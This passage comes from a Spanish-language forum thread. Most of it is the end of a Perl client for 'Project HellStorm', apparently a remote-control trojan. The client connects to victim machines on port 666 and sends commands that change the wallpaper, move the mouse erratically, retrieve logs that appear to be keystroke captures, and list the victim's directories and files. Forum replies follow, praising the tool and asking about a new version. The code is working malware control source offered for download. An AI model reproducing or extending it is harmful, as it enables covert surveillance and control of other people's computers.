            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }
        elsif ( $opcion eq 15 ) {
            print "\n\n[+] Image with format BMP : ";
            chomp( my $id = <stdin> );
            daryrecibir( $_[0], "cambiarfondo $id" );
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }
        elsif ( $opcion eq 16 ) {
            print "\n\n[+] Text : ";
            chomp( my $tx = <stdin> );
            daryrecibir( $_[0], "word :$tx:" );
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }
        elsif ( $opcion eq 17 ) {
            daryrecibir( $_[0], "crazymouse" );
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }
        elsif ( $opcion eq 18 ) {
            print "\n\n[Logs]\n\n";
            $re = daryrecibir( $_[0], "verlogs" );
            print $re. "\n\n";
            print "\n[+] Press any key to continue\n";
            <stdin>;
            &menuo( $_[0] );
        }
        elsif ( $opcion eq 19 ) {
            &menu;
        }
        elsif ( $opcion eq 20 ) {
            print "\n[+] Press any key to continue\n";
            <stdin>;
            exit 1;
        }
        else {
            &menuo;
        }
    }

    sub daryrecibir {

        my $sockex = new IO::Socket::INET(
            PeerAddr => $_[0],
            PeerPort => 666,
            Proto    => 'tcp',
            Timeout  => 5
        );

        print $sockex $_[1] . "\r\n";
        $sockex->read( $re, 5000 );
        $sockex->close;
        return $re . "\r";
    }

    sub show {

        my $re = daryrecibir( $_[0], "getcwd" . "\r\n" );
        print "\n\n[+] Directory : $re\n\n";
        $re1 = daryrecibir( $_[0], "dirnow ACATOY" . $re . "ACATOY" . "\r\n" );
        print "\n\n[Directories found]\n\n";
        while ( $re1 =~ /DIREX(.*?)DIREX/ig ) {
            if ( $1 ne "" ) {
                print "[+] $1\n";
            }
        }

        print "\n\n[Files found]\n\n";

        while ( $re1 =~ /FILEX(.*?)FILEX/ig ) {
            if ( $1 ne "" ) {
                print "[+] $1\n";
            }
        }

    }

    #The End ?


    Si quieren bajar el programa lo pueden hacer de aca :

    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.
    No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

    Eso seria todo.

Muy bueno @No tienes permitido ver los links. Registrarse o Entrar a mi cuenta!!! Excelente proyecto!
Espero que siga creciendo! Tienes muchisimo potencial! Felicitaciones!!

Saludos!
ANTRAX


Hola.

Verdaderamente interesante el Project HellStorm. ¿Tienes pensado hacer remake al programa para que tenga mas funciones? Estaría interesante agregarle algunas cosillas mas.
¿Sabes cuál es el problema? Imaginarte el logaritmo y no programarlo.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Hola.

Verdaderamente interesante el Project HellStorm. ¿Tienes pensado hacer remake al programa para que tenga mas funciones? Estaría interesante agregarle algunas cosillas mas.

En realidad no me gustaria que editaras mi codigo para un "remake" , pero si , si va haber una nueva version.

Saludos.